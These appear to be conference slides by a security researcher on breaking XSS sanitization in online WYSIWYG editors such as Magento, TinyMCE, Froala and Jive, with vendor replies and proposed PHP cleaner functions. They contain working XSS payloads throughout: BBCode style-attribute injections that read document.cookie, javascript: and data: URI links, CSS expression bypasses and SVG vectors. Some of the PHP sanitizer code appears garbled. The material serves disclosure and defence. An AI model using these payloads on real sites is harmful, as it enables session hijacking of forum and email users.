Revisiting XSS Sanitization

A talk by Ashar Javed
Research Contribution

Systematically Breaking Online WYSIWYG Editors

Ashar Javed and Jörg Schwenk

Chair for Network and Data Security
Horst Görtz Institute for IT-Security, Ruhr-University Bochum
{ashar.javed, joerg.schwenk}@rub.de

The 15th International Workshop on Information Security Applications (WISA 2014), Korea
Who Am I?

- A researcher in Ruhr University Bochum, RUB Germany
- A student of XSS who is working towards his PhD in XSS
- An XSSer / An XSS Enthusiast
- Listed in top sites' hall of fame
- A proud father of two
- Speaker @HITBKUL 2013, @DeepSec 2013, OWASP Seminar@RSA Europe 2013 and OWASP Spain 2014
- A Twitter lover @soaj1664ashar
WYSIWYG
What You See Is What You Get
Sites use WYSIWYG editors as a part of ... 

- Forum Post
- Private Messaging
- Wiki Post
- Support Ticket
- Signature Creation
- Comments
WYSIWYG Editor of Magento Commerce

https://www.magentocommerce.com/boards/member/messages/compose/
WYSIWYG Editor of Twitter Translation

https://translate.twitter.com/forum/forums/translator-s-general-discussion/topics/new
WYSIWYG Editor of Amazon

WYSIWYG Editor of Yahoo Email

https://us-mg5.mail.yahoo.com/neo/launch#4280379

338
Froala WYSIWYG Editor

A beautiful jQuery WYSIWYG text editor

http://editor.froala.com/
Some Statistics about Froala

https://github.com/froala/wysiwyg-editor/issues/33#issuecomment-40289023
Jive WYSIWYG Editor

https://community.jivesoftware.com
Statistics about Jive

work better together™

Jive has helped millions of people at the world's top companies work better together.

It can do the same for you.

http://trust.jivesoftware.com/why-jive/customers/#view=list
TinyMCE WYSIWYG Editor

http://www.tinymce.com/tryit/full.php
Statistics about TinyMCE

http://www.tinymce.com/enterprise/using.php
CKEditor WYSIWYG Editor

http://ckeditor.com/demo#full
Statistics of CKEditor

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>REGISTERED DEVS</td>
<td>545 375</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LINES OF CODE</td>
<td>141 166</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NUMBER OF DOWNLOADS</td>
<td>9 497 060</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>COFFEE CUPS CONSUMED</td>
<td>88 455</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

http://ckeditor.com/about/who-is-using-ckeditor
MooEditable WYSIWYG Editor

http://cheeaun.github.io/mooeditable/
In Use on CNET Forums

http://forums.cnet.com/windows-8-forum/?tag=contentMain;contentBody&refresh=1410685383672
Cross-Site Scripting (XSS)
XSS --- An Epidemic

https://twitter.com/soaj1664ashar/status/342002554118492162
For Details on XSS ...
see my slides

Cross-Site Scripting: My Love
Where is Secure Code?

On Breaking PHP-Based XSS Protection
Mechanisms in the Wild
Lets Start with a tale of 1000$ XSS in WYSIWYG editor of Magento Commerce
Magento Commerce's Bug Bounty Program

http://magento.com/security

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Tier 1 Applications</th>
<th>Tier 2 Applications</th>
</tr>
</thead>
<tbody>
<tr>
<td>Information Disclosure (PII, passwords, or credit card data)</td>
<td>Up to $10,000</td>
<td>Up to $5,000</td>
</tr>
<tr>
<td>Remote Code Execution</td>
<td>Up to $10,000</td>
<td>Up to $2,500</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>Up to $5,000</td>
<td>Up to $1,000</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>Up to $5,000</td>
<td>Up to $1,000</td>
</tr>
<tr>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>Up to $5,000</td>
<td>Up to $500</td>
</tr>
<tr>
<td><strong>Cross-Site Scripting (XSS)</strong></td>
<td>$1000</td>
<td>$500</td>
</tr>
<tr>
<td>Clickjacking</td>
<td>$500</td>
<td>$100</td>
</tr>
</tbody>
</table>
Magento Commerce Forum
Posting has been disabled ...
:D

Posting in the Magento forums has been disabled pending the implementation of a new and improved forum solution which should better serve the community.

For new questions please post at magento.stackexchange.com, the community-run support site for the Magento community. We will be providing updates on the new forum solution soon. For questions or concerns please email community@magento.com.

https://www.magentocommerce.com/boards/
XSS affects on 2051362 users

http://www.magentocommerce.com/boards/
WYSIWYG Editor of Magento Commerce
How it works?

I try to break down the above input into parts e.g., [b][size=4][color=blue]bold[/size][/color][/b] is internally treated as:

```html
<b><span style="font-size:16px;">"<span style="color:blue;">bold</span></span></b>
```
Quick XSS Test

```
""><marquee><img src=x onerror=confirm(document.cookie)></marquee>""></plaintext/>
\"><plaintext/onmouseover=prompt(1)>""<script>alert(document.domain)
</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'--'
""</script><script>alert(1)</script>""<img/id="confirm&lpar;1&amp;#x29;"/alt="/" src="http://www.ieee-security.org/images/new-web/Trojan_Horse.jpg" onmouseover=eval(id)&#x29;:""<img
src="http://bryanhallsawakening.files.wordpress.com/2013/09/anonymousbigbrotherclone.jpg"/onmouseover=alert(1)<script/&Tab; src="https://dl.dropbox.com/u/13018058/js.js'
/&Tab;></script>

and it has been converted into:

```
""><marquee>x
onerror=confirm([removed])</marquee>""></plaintext/>
\"><plaintext/onmouseover=prompt(1)>""alert(document.domain)@gmail.com<isindex
formaction=[removed]alert(/XSS/)
type=submit>'--'
""alert(1)""<img/id="confirm(1)"/alt="/" src="http://www.ieee-
security.org/images/new-
web/Trojan_Horse.jpg" onmouseover=eval(id)>""http://bryanhallsawakening.files.wordpress.com
/2013/09/anonymousbigbrotherclone.jpg
```
By looking at [removed] in the converted XSS attack vector ...
I remembered CodeIgniter's CI_Security Class

What is CodeIgniter?

CodeIgniter is one of the world’s most popular Open Source PHP frameworks, used by thousands of developers powering hundreds of thousands of sites, in addition to being deployed as the underpinning of every ExpressionEngine installation. As of this writing it is the second most watched PHP project hosted at GitHub, surpassing Slim, Yii, CakePHP, Zend, and Laravel in either followers, contributors, or both. It has the highest number of forks of any PHP project at GitHub of all time. It is used by everyone from AT&T to Home Depot to Dictionary.com, to Rachael Ray to Magento to the Mail & Guardian, to the Universities of Missouri, Michigan, Texas, Georgia, and more (Sources: builtwith.com, wappalyzer.com). And it is used as the server-side back end for many mobile apps.

@soaj1664ashar Oct 4
I never know that CodeIgniter (Open Source #PHP frameworks (@CodeIgniter)) is that much popular :P pic.twitter.com/dhZ2yJ2i0f
Codelgniter's Popularity

Get access to data on 264,038 websites that have used Codelgniter. We know of 127,214 live websites using Codelgniter and an additional 136,824 sites that used Codelgniter historically.

http://trends.builtwith.com/framework/Codelgniter
My meeting with CodeIgniter :-D

https://github.com/EllisLab/CodeIgniter/issues/2667
Let's start dissecting ...

And/or

Both above mentioned variations also do not work and internally site treat them as:

```html
<p>
  "[b/onmouseover=alert(1)]"
</p>
```

Output looks like:

```
[b/onmouseover=alert(1)]bold
[b/onmouseover=alert(1)]bold
```
Dissection Continue ...

Let's input ...

[url=javascript:alert(1)]Top Stories[/url]

AND/OR

[url=data:text/html;base64,PHN2Zy9vbmxfYWQ9YWxlcnQoMk+]Top Stories[/url]

The above two forms of injections also do not work and internally site treats them as:

```html
<br />
<a href="http://data:text/html;base64,PHN2Zy9vbmxfYWQ9YWxlcnQoMk+" target="_blank">Top Stories</a>
```
Dissection Continue ...

\[ \text{[b][size=4][color=blue]bold[/size][/color][/b]} \]

which becomes:

\[
\text{\{\text{span style=\"font-size:16px;\"} <span style=\"color:width:[removed;\">alert(1))\bold</span> \}\}}
\]
Dissection Continue ...

So it seems, with the help of /**/, the above injection bypasses CodeIgniter's black-listed word „expression“ and it looks like:

```
<code>

width:express/**/ssion(alert(1)) is an old trick discussed in SLA.CKERS

</code>
```
CSS will work if ...

CSSPropertyName: Value

BUT we have ...

```html
<span style="color: width: exec_RENDER/; ssion(alert(1));">bold</span>
```

Question: How to get rid of `color`?
Next Great Idea ...
Use **STYLE** tag as per allowed syntax

```
[b][size=4][color=blue]bold[/size]/[color][/color][/b]
```

```
[b][style=width:expre/**/ssion(alert(1))]bold[/style][/b]
```

and it becomes:

```
<span class="width:expre/**/ssion(alert(1))">bold</span>
```
It seems I am moving in the right direction ...

Now our above injection becomes:

[b][style=width:expre/**/ssion(alert(1))]bold[/style][/b]

and the site converts the above injection into:

<span class="style=width:expre/**/ssion(alert(1))">bold</span>
Use double quotes in order to break the context ...

So new injection now looks like:

```markdown
[b][style="style=width:expre/**/ssion(alert(1))]bold[/style][/b]
```

and this time, Magento has converted the above injection into:

```html
<p><b><span class="" style=width:expre/**/ssion(alert(1))"">bold</span></b></p>
```
Here we go ...

[b][style="width:expre/**/ssion(alert(1)) junktext"]bold[/style][/b]

and this time Magento behaves like a good child:

<span class="" style="width:expre/**/ssion(alert(1))" junktext="">bold</span>

So now all set for an XSS in IE7 …
Who Cares about IE7?

Lets try to make it work in modern browsers ...
Yes ... Done with it...

If you remembered correctly, as soon as we have injected [style][/style] mark-up, Magento has dynamically created a „class“ attribute. e.g.,

[b][style=]bold[/style][/b]

has been converted into:

<span class=""">bold</span>

It means, now we can try „onmouseover“ stuff along with „style“ tag and this should work ...

So our FINAL injection that works in latest Chrome browser will be now looks like:

[b][style="onmouseover="alert(cookie);"]bold[/style][/b]
Tea Time with `cookie` :)

![Image of a webpage showing code and a Magento logo](image-url)
Another Sad Thing ...

"PHPSESSID" cookie is not httpOnly ....
Can XSSed Forum Moderator for more privileges

http://www.magentocommerce.com/board/s/member/382896/
Recommended Read

Identification of Common Injection Points in WYSIWYG Editors
Attacking Insert/Edit Image Feature
Attack Vector #1

http://xssplayground.net23.net/xss%22onmouseover=%22alert(1);%20imagefile.svg?"onmouseover="alert(1)
Features of attack vector #1

- Valid URL (Browsers render it)
- In case of explicit decoding on server-side, it can be used to break the context and execute JavaScript
- Useful in breaking the context for JavaScript execution (in case if no server-side decoding)
- SVG based JavaScript execution
Explicit Server-Side Decoding

http://xssplayground.net23.net/xss%22onmouseover=%22alert(1);%20imagefile.svg

The above URL after decoding on server-side looks like

http://xssplayground.net23.net/xss"onmouseover="alert(1); imagefile.svg
XSSed Alexa (Explicit Decoding Case)
Recommended Read

http://issuu.com/mscasharjaved/docs/urlwriteup/1
XSSed GitHub's MarkDown (SVG based JavaScript execution)

SVG XSS in camo.github.com

@soaj1664 reported an XSS vulnerability in the sandbox domain we use for proxying images coming from non-HTTPS sources. By using our image proxy to request an SVG resource, an attacker could have caused arbitrary JavaScript to execute in the image-proxy domain.

While this vulnerability existed in a sandbox domain, largely intended to mitigate the risk of serving user-supplied content, we still took the threat seriously. We addressed the behavior by disallowing SVG images until we moved the image proxy to a domain that is not a subdomain of GitHub.com.

https://bounty.github.com/researchers/soaj1664.html
Recommended Read

https://www.owasp.org/images/0/03/Mario_Heiderich_OWASP_Sweden_The_image_that_called_me.pdf
XSSed Amazon's Seller Central & Kindle Direct Publishing Forums's WYSIWYG Editor
Insert Image Syntax

!Image URL Goes Here!

Internally it is treated as ...

<img src="ImageURL" alt>
XSSed Amazon's Seller Central (break context case)
XSSed Amazon's Kindle Direct Publishing (break context)
Attack Vector #2

Useful in cases if sites automatically insert anchor tag (<a>) around image ...
Recommended Read

http://css-tricks.com/using-svg/
XSSed Jive
Other Potential Attack Vector for `<img src=""/>

The `<img src=javascript:while(1){}> DoS is fixed in Firefox 33.0

https://twitter.com/filedescriptor/status/512252595906158592
Attacking Attributes in WYSIWYG Editors
Common attributes are ...

alt, id, class, value & title
Attribute Context Attack Methodology

```
Attack Methodology for Attribute Context e.g.,
<div class="Injection_Point">attribute context</div> OR
<div class="Injection_Point">attribute context</div>
```

1. **YES**
   
   " onmouseover="alert(1);"

2. **NO**
   
   
   1. **YES**
      
      ' onmouseover='alert(1);'
   
   2. **NO**
      
      1. **YES**
         
         " onmouseover="alert(1);"
      
      2. **NO**

3. **NO**

XSS Bypass

No Bypass
XSSed Yahoo Email's WYSIWYG Editor
in action
XSSed GitHub's Markdown

https://html5sec.org/innerHTML/ (Mario Heiderich's Utility)
GitHub's reply on my report

Hi,

Thanks for the submission! We have reviewed your report and validated your findings. After internally assessing the findings we have determined they are low in risk. As you noted, this vulnerability only applies to Internet Explorer 8 (or prior), which is not supported by GitHub.com. While overall IE8 usage may be 22%, the usage on GitHub.com is substantially less. As a result, the vulnerability is low in risk to GitHub users and not eligible for a reward under the Bug Bounty program.

Best regards and happy hacking!
Lithium WYSIWYG Editor

The worlds leading brands choose Lithium
Lithium's reply on my report

Swapnil Shinde <swapnil.shinde@lithium.com>
to SecOps, me

Hello Ashar,

Thank you for reporting this issue which is a good one and difficult to find. We are in the process of triaging the issue and fixing it.

Thanks.
Swapnil
XSSed TinyMCE

http://www.tinymce.com/develop/bugtracker_view.php?id=6858
Attacking Insert/Edit Link Feature
WYSIWYG's Insert Link

**Link**
- **URL**: 
- **Target**: Same window

**Insert link**
- **Url**: 
- **Text to display**: em
- **Title**: 
- **Target**: None
  - None
  - New window
URL Context Attack Methodology
XSSed FreeTextBox (ASP.NET) Based WYSIWYG Editor

The page at www.freetextbox.com says:

```html
<a href="javascript:alert(1)" title="&quot;onmouseover=&quot;alert(1)&quot;" target="_self">click</a>
```

```
<p>&lt;a href="javascript:alert(1)" title="&quot;onmouseover=&quot;alert(1)&quot;" target="_self">click</a&gt;&lt;/p&gt;
```
Who is using FreeTextBox?

Selected Clients

http://www.freetextbox.com/
Who is using KindEditor?

http://kindeditor.net/case.php
XSSed PHP HTML Edit

The page at phphtmledit.com says:

```
<a href="javascript:alert(1)" href=temp="javascript:alert(1)">click</a>
```

The most powerful online WYSIWYG HTML Editor
Who is using PHP HTML Edit

Also available for Joomla!, Dojo

Joomla Content Editor
Dojo HTML Editor

Also available for ASP.NET and ASP

Cute Editor for .NET
Cute Editor for ASP

Cute Editor has more than 10,000 customers, and has been sold in over 60 countries.

Selected Clients

- Microsoft
- Intel
- HP
- Liberal.ca

Liberal Party of Canada
XSSed Web Wiz
Who is using Web Wiz?

see https://www.webwiz.co.uk/company-info/customer-testimonials.htm
XSSed EditLive

Start: Switch to Design mode and start editing.

click

1

OK Cancel
Who is using EditLive?

http://ephox.com/customers
XSSed MarkItUp
Who is using MarkItUp?

http://markitup.jaysalvat.com/home/
XSSed **Mercury** (Rails)

The page at jejack0n.github.io says:

```
1
```

gem 'mercury-rails'
rails generate mercury:install

click
Who is using Mercury?

http://jejacks0n.github.io/mercury/
XSSed CNET's Forum (MooEditable WYSIWYG Editor in use ... )
XSSed Froala

XSS in FROALA WYSIWYG #33

Closed soaj1664 opened this issue on 12 Apr - 26 comments

soaj1664 commented on 12 Apr

HI,

The editor is vulnerable to an XSS. The editor allows users to insert link and if instead of normal link, I input JavaScript URI

javascript:alert%28location%29

then it works. The attacker can execute arbitrary code of his choice. Please fix this issue. Thanks!

stefaneculai commented on 12 Apr

Thanks for pointing that out. We'll fix it shortly.

https://github.com/froala/wysiwyg-editor/issues/33
XSSed Jive
Reward from Jive :) 

Welcome to Jive

⚠️ It appears your account has been deactivated. You might contact your administrator if you think this is a mistake.

Bala Sathiamurthy <bala.sathiamurthy@jivesoftware.com>  
Mar 19  

Ashar,
We appreciate you responsibly reporting these bugs to us but remember this is an actual active community. Your last attempt to inject data URI in a message thread was inside the community of one of our partner companies. They most likely reported the content as "Abuse" and hence our support disabled the account. We will look into it.
XSSed TinyMCE

Bug #6851

Cross-Site Scripting (XSS) in TinyMCE

Submitted: 2014-04-14 06:16:44
By: ssaj1664

Browsers: chrome firefox

Tops: 

Status: Closed
Priority: 3
Resolution: Fixed
Assigned to: None

URL: http://fiddle.tinymce.com/Tbeaab

Description: Description of problem: The editor is vulnerable to an XSS.

Steps to reproduce:

On this demo page: http://www.tinymce.com/trylt/basic.php

Type anything and select the text in order to make it a LINK i.e., click on button Insert/Edit link.

Now site will open a dialog box and asks for URL. Initially I tried to execute JavaScript via JavaScript URI but editor performs well and does not allow JavaScript code execution via JS URL. BUT Data URI works o.k.

Input the following as a part of URL:

data:text/html;base64,PHN2Zy9vbmxvYXYQZXYVxdcnQwMik+

Now TinyMCE convert this into a valid link and its output looks like:

<p><a data-text="html;base64,PHN2Zy9vbmxvYXYQZXYVxdcnQwMik">click</a></p>

Expected result: Should not allow DATA URI!

Actual result: It allows JavaScript code execution via Data URI. I think this should be fixed.

http://www.tinymce.com/develop/bugtracker_view.php?id=6851
XSSed 6 more WYSIWYG Editors

javascript:alert(1)

is enough for NicEdit, Raptor, jHTMLArea, Aloha, eIRTE and Medium

#WYSIWYG #XSS

https://twitter.com/soaj1664ashar/status/513229764078104576
A tale of an XSS in Twitter Translation's WYSIWYG Editor
Twitter Translation's WYSIWYG (Insert Link)

https://translate.twitter.com/forum/forum/s/feature-requests/topics/new
Lets XSS ... step #1

[twitter] (https://twitter.com)
has been internally converted into
<a href="https://twitter.com">twitter</a>
Step #2

What happens if I replace https://twitter.com with javascript:alert(1) like [twitter] (javascript:alert(1)) has been internally converted into <a href="javascript:alert(1)">twitter</a>
Step #3

[twitter] (javascript:alert(1)) has been internally converted into
<a href="javascript:alert(1);">twitter</a>
Step #4

[twitter] (javascript:alert%28 1%29)
has been internally converted into
<a href="javascript:alert%28 1%29">twitter</a>
Here we go ...

After Fix ... @ndm Replied

Neil Matatall
@ndm

@soaj1664ashar @HttpSecHeaders damn 3rd party libraries

https://twitter.com/ndm/status/456129160
411234304
Which 3rd Party Library (WYSIWYG)?

MarkDown
XSSed MarkDown

http://daringfireball.net/projects/markdown/dingus
Recently an attempt has been made to make it standard ... BUT
Set Back?

http://standardmarkdown.com/
Standard Markdown is now Common Markdown

http://blog.codinghorror.com/standard-markdown-is-now-common-markdown/
Attacking `Style` Feature of WYSIWYG Editors
`style` attribute in WYSIWYG
Style Context Attack Methodology

![Flowchart showing the Style Context Attack Methodology](image)

The flowchart illustrates the process of detecting and bypassing Style Context Attack vulnerabilities in web applications.
XSSed Ebay (CKEditor in use)
Reward from Ebay :)

There are a few errors in your guide. Please correct the fields highlighted in red.

Publishing blocked - Your account has been blocked from publishing due to excessive posts that violate our Guides Policy.
XSSsed TinyMCE
Attacking Insert/Edit/Upload File Feature of WYSIWYG
Insert/Edit/Upload File
XSS-ed Imperavi Redactor (File name == XSS vector)
Who is using Imperavi Redactor?

Loved by Developers

http://imperavi.com/redactor/
XSSed Froala via Flash File
XSSed x.com (Paypal's Site)
WYSIWYG Editor via Flash File
[worth 1000$]
Attacking Insert Video Feature of WYSIWYG Editors
Insert/Edit Video
YouTube's embed code for video sharing looks like ...

<object width="560" height="315">
<param name="movie" value="//www.youtube-nocookie.com/v/-RHPq4Z-8p8?hl=en_US&amp;version=3"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="//www.youtube-nocookie.com/v/-RHPq4Z-8p8?hl=en_US&amp;version=3" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true"></embed></object>
For XSS ...

Simply add `onmouseover=alert(1)` in `<object>` & `<embed>` tags ...
XSSed Raptor
Microsoft's WYSIWYG Editor for Wiki Articles Posting
XSSed Microsoft.com's WYSIWYG Editor

The page at social.technet.microsoft.com says:

XSS
Microsoft's WYSIWYG Editor's Fix at the moment ...
Why almost all WYSIWYG Editors are vulnerable?
But first let's see some comments from developers on my reported bugs in WYSIWYG editors
Developers Comments
mikepmtl commented on Apr 13

Why don't you simply filter out what you don't want upon submission server side? Some of us use it in the back end to add/edit content.
#2

**daviferreira** commented on Apr 13

You should handle this on server side, when you save your content :)

That is how it is supposed to work. If you don't want it to do that, you need to implement a filter in your save method.
I would expect this to be how it works. As this is a WYSIWYG editor. If you're worried about that type of stuff extend the code for your needs or filter this server side.
Hi,

It's generally considered unsafe to do any kind of data sanitisation on the front end. For this reason sanitisation should be performed in your backend implementation.
#6

해당 부분은 글 저작 시 서버 사이드에서 처리하는 것이 좋지 않률까 생각합니다. 비슷한 이슈와 답변이 동일하게 있는데, 아무튼, 제보 감사합니다. 좋은 하루 되세요.
Reasons

`Transfer of responsibility` +
`
Laziness`

Developers of the WYSIWYG editors think that developers of the server-side/back-end or web applications will do sanitization while developers of web applications are happy to include WYSIWYG editors "AS IT IS" ...
Enough Breaking ...
Let's Present Unbreakable Sanitizer/Filter
What? ... Unbreakable? :-D

http://demo.chm-software.com/7fc785c6bd26b49d7a7698a7518a73ed/
81570 failed XSS attempts
"The solutions all are simple... after you have arrived at them."

(Robert M. Pirsig, American novelist)
Protection against JavaScript execution via common attributes (e.g., id, title etc) in WYSIWYG Editors
Attribute Context Attack Methodology & Implementation of a generic `attributeContextCleaner` function

```php
<?php
function attributeContextCleaner($input) {
    $bad_chars = array("\"", ".", ":", ":");
    $safe_chars = array("&quot;", "&apos;", "&grave;");
    $output = str_replace($bad_chars, $safe_chars, $input);
    return stripslashes($output);
}
?>
```
What if attacker will use encoding?
See fiddle for an answer ...

http://jsfiddle.net/9t8UM/3/
Protection against JavaScript execution via `style` attribute in WYSIWYG Editors
Style Context Attack Methodology & Implementation of a
generic `styleContextCleaner` function

```php
function styleContextCleaner($input) {
    $bad_chars = array("\", ",", ",", ",\\", ",&"):    
    $safe_chars = array("\".", ",apos:" . ",lpar:" . ",bsol:" . ",lt:" . ",amp:"):        
    $output = str_replace($bad_chars, $safe_chars, $input):
    return stripslashes($output):
}
```
Questions Arise ...

Why double quote is there?
e.g., `<span style="injection point">`<span style="color:red;" onmouseover="alert(1)">`</span>

Why single quote is there?
e.g., `<span style='injection point'>`<span style='color:red;' onmouseover='alert(1)'>`</span>

why back tick ` is not there?
e.g., `<span style="injection point">`<span style="'onmouseover=alert(1)'>`</span>

BUT IN OLD IE BROWSERS IT WILL RENDER AS ....
`<SPAN>`</SPAN>
so no need to filter ``

Why < is there?
All above cases make use of an style attribute but what if developers are using style tag ... i.e.,
`<style>injection here</style>` then attacker can close the style tag and may execute JavaScript e.g.,

`<style>injection here</style> `
`<style></style><script>alert(1)</script> </style> `
Features of `styleContextCleaner()`. It allows simple styles ...
Protection against JavaScript execution via `url` e.g., img's `src` and/or anchor's `href` attribute
Implementation of `urlContextCleaner()`
See my XSS filter if you want to allow harmless tags ...

http://xssplayground.net23.net/xssfilter.html
General Guidelines for XSS Protection
HttpOnly Cookies
Iframe's `sandbox` attribute
Content Security Policy without `unsafe-inline` and `unsafe-eval`
Will Conclude ...
Normal people shouldn’t need to know or care about markup. Most just want to make words bold or italic and maybe add some bullets & images.
Keep it simple like Facebook's WYSIWYG editor...

https://www.facebook.com/editnote.php
Markdown’s great for techies. But what if, instead of a spec, those 6 devs had spent 2 years creating a WYSIWYG editor that actually works?

https://twitter.com/sstephenson/status/507931444182667264
Thank You

@soaj1664ashar